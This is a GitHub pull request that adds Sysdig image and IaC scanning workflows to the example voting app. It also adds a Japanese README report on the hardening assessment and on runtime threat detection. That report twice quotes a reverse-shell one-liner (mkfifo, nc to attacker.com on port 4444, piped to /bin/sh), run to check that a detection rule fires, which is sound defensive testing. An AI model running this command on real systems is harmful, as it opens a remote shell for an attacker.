Skip to content

Harden Kubernetes IaC for vote, worker, result (Sysdig Best Practices) #411

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 73 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
73 commits
Select commit Hold shift + click to select a range
2083638
Add Sysdig CLI scan workflow
higakikeita Jul 15, 2025
ea50a2a
Fix: corrected scan.yml quoting for GitHub Actions
higakikeita Jul 15, 2025
6d6c40a
fix: correct voting-app Docker path to ./vote
higakikeita Jul 15, 2025
c1b03df
fix: correct CLI scanner download URL
higakikeita Jul 15, 2025
d15504c
trigger scan
higakikeita Jul 15, 2025
e2f6459
correct scan.yml
higakikeita Jul 15, 2025
bc41329
correctCLIversion scan.yml
higakikeita Jul 15, 2025
ad83a35
Add Sysdig image scan workflow
higakikeita Jul 15, 2025
3729c8d
Add Sysdig image scan workflow
higakikeita Jul 15, 2025
291018b
correct Sysdig image scan workflow
higakikeita Jul 15, 2025
ffecc38
correct Sysdig image scan workflow
higakikeita Jul 15, 2025
33dd483
correct Sysdig image scan workflow
higakikeita Jul 15, 2025
3594936
correct Sysdig image scan workflow
higakikeita Jul 15, 2025
5915318
correct Sysdig image scan workflow
higakikeita Jul 15, 2025
a045331
correct Sysdig image scan workflow
higakikeita Jul 15, 2025
b94af43
correct Sysdig image scan workflow
higakikeita Jul 15, 2025
8fb5b78
correct Sysdig image scan workflow
higakikeita Jul 15, 2025
ea473d1
correct Sysdig image scan workflow
higakikeita Jul 15, 2025
8896a06
correct Sysdig image scan workflow
higakikeita Jul 15, 2025
b230cc5
correct Sysdig image scan workflow
higakikeita Jul 16, 2025
d2502e5
correct Sysdig image scan workflow
higakikeita Jul 16, 2025
4ee922e
correct Sysdig image scan workflow
higakikeita Jul 16, 2025
c10289d
correct Sysdig image scan workflow
higakikeita Jul 16, 2025
76e40d5
correct Sysdig image scan workflow
higakikeita Jul 16, 2025
6348a8d
final Sysdig image scan workflow
higakikeita Jul 16, 2025
72af093
final Sysdig image scan
higakikeita Jul 16, 2025
4936486
final Sysdig image scan
higakikeita Jul 16, 2025
ff0ff14
final Sysdig image scan
higakikeita Jul 16, 2025
d68086c
final Sysdig image scan
higakikeita Jul 16, 2025
698337e
Fix: Ensure SECURE_API_TOKEN is injected properly
higakikeita Jul 16, 2025
0c0c174
Fix: Ensure SECURE_API_TOKEN is injected properly
higakikeita Jul 16, 2025
bdf3d29
Fix: Ensure SECURE_API_TOKEN is injected properly
higakikeita Jul 16, 2025
097f1d7
Fix: Ensure SECURE_API_TOKEN is injected properly
higakikeita Jul 16, 2025
c22d653
Fix: Ensure SECURE_API_TOKEN is injected properly
higakikeita Jul 16, 2025
143bf3b
Fix: Ensure SECURE_API_TOKEN is injected properly
higakikeita Jul 16, 2025
a6eac46
Fix: Ensure SECURE_API_TOKEN is injected properly
higakikeita Jul 16, 2025
f0a0b29
Fix: Ensure SECURE_API_TOKEN is injected properly
higakikeita Jul 16, 2025
8d4fd5a
Fix: Ensure SECURE_API_TOKEN is injected properly
higakikeita Jul 16, 2025
6612d2c
Fix: Ensure SECURE_API_TOKEN is injected properly
higakikeita Jul 16, 2025
621e2e7
Fix: Ensure SECURE_API_TOKEN is injected properly
higakikeita Jul 16, 2025
487ae85
Fix: Ensure SECURE_API_TOKEN is injected properly
higakikeita Jul 16, 2025
75f811c
Fix: Ensure SECURE_TOKEN is injected properly
higakikeita Jul 16, 2025
40634ca
Fix: Ensure SECURE_TOKEN is injected properly
higakikeita Jul 16, 2025
bd11814
Fix: Ensure SECURE_TOKEN is injected properly
higakikeita Jul 16, 2025
f0b136a
Fix: Ensure
higakikeita Jul 16, 2025
91bf861
Fix: Ensure
higakikeita Jul 16, 2025
1da6bbc
Add Sysdig CI workflow for Docker and IaC scan
higakikeita Jul 17, 2025
99c124e
Trigger CI re-run
higakikeita Jul 17, 2025
af2c515
Trigger CI: re-run Sysdig scan
higakikeita Jul 17, 2025
0f825f3
Fix YAML syntax in 'on' section for proper CI trigger
higakikeita Jul 17, 2025
4367a0b
Fix: pass vote image to scanner via tar file
higakikeita Jul 17, 2025
94ae89e
Fix: pass vote image to scanner via tar file
higakikeita Jul 17, 2025
226d145
Fix: lock CLI version to 1.22.4 and use --image-archive
higakikeita Jul 17, 2025
9da311e
Fix: use --standalone --input-file with CLI 1.22.4
higakikeita Jul 17, 2025
5102972
Fix: use --standalone --input-file with CLI 1.22.4
higakikeita Jul 17, 2025
9ff0d12
Fix: use --standalone --input-file with CLI 1.22.4
higakikeita Jul 17, 2025
1e296dd
Use Sysdig CLI Scanner v1.24.2 for stable tar support
higakikeita Jul 17, 2025
09c311c
Fix: use --standalone --input-file with CLI latest
higakikeita Jul 17, 2025
8d76915
Fix: use --standalone --input-file with CLI latest
higakikeita Jul 17, 2025
0f65abe
Fix: use --standalone --input-file with CLI latest
higakikeita Jul 17, 2025
074d20b
Switch to CLI-based Sysdig scan using curl
higakikeita Jul 17, 2025
cc5fa03
Switch to CLI-based Sysdig scan using curl
higakikeita Jul 17, 2025
43c36ca
Switch to CLI-based Sysdig scan using curl
higakikeita Jul 17, 2025
ec74eaa
Switch to CLI-based Sysdig scan using curl
higakikeita Jul 17, 2025
a61b8fc
Bonus
higakikeita Jul 17, 2025
29ff245
Bonus
higakikeita Jul 17, 2025
fd44838
Bonus
higakikeita Jul 17, 2025
77a7478
Bonus
higakikeita Jul 17, 2025
74fba98
Bonus
higakikeita Jul 17, 2025
03252f7
Trigger Sysdig CI Scan rerun
higakikeita Jul 20, 2025
f653d0e
Trigger Sysdig CI Scan rerun
higakikeita Jul 21, 2025
9c8df11
Update README.md
higakikeita Jul 21, 2025
e2d8b7c
Update README.md
higakikeita Jul 21, 2025
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
42 changes: 42 additions & 0 deletions .github/workflows/scan.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
name: Voting App Build & Scan

on:
push:
branches:
- main
pull_request:
workflow_dispatch:

jobs:
build-and-scan:
runs-on: ubuntu-latest

env:
SYS_DIG_SECURE_URL: https://app.au1.sysdig.com

steps:
- name: Checkout source
uses: actions/checkout@v3

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v2

- name: Log in to DockerHub (optional)
if: ${{ secrets.DOCKERHUB_USERNAME && secrets.DOCKERHUB_TOKEN }}
uses: docker/login-action@v2
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}

- name: Build Voting App images
run: |
docker build -t voting-app ./vote
docker build -t worker ./worker
docker build -t result ./result

- name: Scan image with Sysdig CLI Scanner
env:
SECURE_API_TOKEN: ${{ secrets.SECURE_API_TOKEN }}
run: |
docker run --rm --platform linux/amd64 --user 0 -v "$(pwd)/scan-logs:/home/nonroot/scan-logs" -v /var/run/docker.sock:/var/run/docker.sock -e SECURE_API_TOKEN="${{ secrets.SECURE_API_TOKEN }}" quay.io/sysdig/sysdig-cli-scanner:1.22.4 --apiurl "$SYS_DIG_SECURE_URL" --loglevel info --skiptlsverify docker://voting-app

64 changes: 64 additions & 0 deletions .github/workflows/sysdig-scan.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,64 @@
name: Sysdig Secure Scanning

on:
push:
branches: [main, ci/sysdig-integration]
pull_request:
branches: [main, ci/sysdig-integration]

jobs:
scan:
runs-on: ubuntu-latest
name: Scan vote / worker / result + IaC (stable, no version pin)

steps:
- name: Checkout source
uses: actions/checkout@v3

# Build Docker images
- name: Build vote image
run: docker build ./vote -t vote-app:${{ github.sha }}

- name: Build worker image
run: docker build ./worker -t worker-app:${{ github.sha }}

- name: Build result image
run: docker build ./result -t result-app:${{ github.sha }}

# Scan vote
- name: Scan vote image with Sysdig
uses: sysdiglabs/scan-action@v6
with:
image-tag: vote-app:${{ github.sha }}
sysdig-secure-token: ${{ secrets.SYSDIG_SECURE_TOKEN }}
sysdig-secure-url: ${{ secrets.SYSDIG_API_URL }}
stop-on-processing-error: true

# Scan worker
- name: Scan worker image with Sysdig
uses: sysdiglabs/scan-action@v6
with:
image-tag: worker-app:${{ github.sha }}
sysdig-secure-token: ${{ secrets.SYSDIG_SECURE_TOKEN }}
sysdig-secure-url: ${{ secrets.SYSDIG_API_URL }}
stop-on-processing-error: true

# Scan result
- name: Scan result image with Sysdig
uses: sysdiglabs/scan-action@v6
with:
image-tag: result-app:${{ github.sha }}
sysdig-secure-token: ${{ secrets.SYSDIG_SECURE_TOKEN }}
sysdig-secure-url: ${{ secrets.SYSDIG_API_URL }}
stop-on-processing-error: true

# Scan IaC (k8s-specifications)
- name: Scan Kubernetes IaC manifests
uses: sysdiglabs/scan-action@v6
continue-on-error: true
with:
mode: iac
iac-scan-path: k8s-specifications
sysdig-secure-token: ${{ secrets.SYSDIG_SECURE_TOKEN }}
sysdig-secure-url: ${{ secrets.SYSDIG_API_URL }}
stop-on-processing-error: true
121 changes: 121 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -63,3 +63,124 @@ The voting application only accepts one vote per client browser. It does not reg
This isn't an example of a properly architected perfectly designed distributed app... it's just a simple
example of the various types of pieces and languages you might see (queues, persistent data, etc), and how to
deal with them in Docker at a basic level.


# 📄 Sysdig TechAssessment - Phase A, B & C 成果レポート

このリポジトリでは、Sysdig Secure を活用したセキュリティ検証(IaC / CI/CD / Runtime)を段階的に実施しました。

---

## 📘 フェーズA:IaCおよびRuntime Policies 初期検証

### ✅ IaC セキュリティスキャン結果(Sysdig CLI Scanner)

- スキャン対象: `k8s-specifications/*.yaml`
- 使用ツール: `sysdig-cli-scanner:1.22.4`
- 実行方法:

```bash
docker run --rm \
-e SECURE_API_TOKEN=$SYSDIG_SECURE_TOKEN \
-v $PWD:/iac \
quay.io/sysdig/sysdig-cli-scanner:1.22.4 \
--apiurl https://app.au1.sysdig.com \
--iac scan /iac/k8s-specifications
```

| レベル | 件数 | 内容例 |
|--------|------|--------|
| 🔴 High | 25 | RunAsUser=root, writeable rootFS, NET_RAW許可など |
| 🟠 Medium | 55 | CPU/Memory制限なし, latestタグ, readiness probeなしなど |
| 🟡 Low | 40 | runAsNonRoot未設定, liveness未定義など |

### 🛠 修正アクション(IaC)

- `securityContext.runAsUser: 1000`
- `readOnlyRootFilesystem: true`
- `capabilities.drop: ["ALL"]`
- `resources.requests/limits` を追加
- `livenessProbe`, `readinessProbe` を明示
- PR #409 にて修正済みYAMLをコミット

### ✅ Runtime Policy 初期実装

- 使用ルール: `Reverse Shell Detected`
- ポリシータイプ: Workload Policy
- スコープ: `container.label.io.kubernetes.pod.namespace is default`
- アクション: `Generate Event`
- 実行コマンド:

```bash
kubectl exec -it vote-XXXXXX -n default -- /bin/sh -c 'rm -f /tmp/f; mkfifo /tmp/f; nc attacker.com 4444 < /tmp/f | /bin/sh > /tmp/f'
```

- Sysdig Secure UI にて検知成功(イベント/プロセス/ユーザー確認済)

---

## 📘 フェーズB:CI/CD 連携によるセキュリティスキャン

### ✅ 実施内容概要

- GitHub Actions を用いた自動スキャン
- 対象:Voting App(vote / worker / result)のDockerイメージと IaCファイル
- 使用アクション:`sysdiglabs/scan-action@v6`

### 🔧 技術構成

- `.github/workflows/sysdig-scan.yml`
- CLIバージョン:`1.22.3`
- Secret:`SYSDIG_SECURE_TOKEN`
- 設定:`continue-on-error: true`

### 🐳 Docker イメージスキャン結果

| サービス | イメージ | 脆弱性数(Critical) | Policy評価 |
|----------|---------|----------------------|------------|
| vote | vote-app | 113(3件) | ❌ FAILED |
| worker | worker-app | 174(4件) | ❌ FAILED |
| result | result-app | 119(1件) | ❌ FAILED |

### 📄 IaC スキャン結果

| レベル | 件数 | 主な検出内容 |
|--------|------|----------------|
| 🔴 High | 25 | serviceAccount未指定, root実行 など |
| 🟠 Medium | 55 | resource未設定, latestタグなど |
| 🟡 Low | 40 | liveness/readiness probe未定義 |

---

## 📘 フェーズC:Runtime Policy による脅威検知

### ✅ 実施内容概要

- `Reverse Shell Detected`, `Unexpected Outbound Connection` を有効化
- namespace=`default` を対象に設定
- イベント:Generate Event, Capture(Kill optional)

### 🛠 実施ステップ

```bash
kubectl exec -it vote-XXXXX -n default -- /bin/sh -c 'rm -f /tmp/f; mkfifo /tmp/f; nc attacker.com 4444 < /tmp/f | /bin/sh > /tmp/f'
```

### 📡 検知ログ(Secure UI)

- Threat:Reverse Shell Detected
- 実行ユーザー:root
- プロセス:`nc.openbsd`, `sh`
- 状態:Open
- Capture:取得済み

---

## ✅ 結論

- ✅ フェーズA:IaC検知 → PR修正、Runtime Policy初期検知を実証
- ✅ フェーズB:CI/CD自動スキャンパイプライン構築
- ✅ フェーズC:Runtime脅威の検出とフォレンジック取得に成功

レポート作成日: 2025-07-21
作成者: Higaki(SETechAssessment 参加者)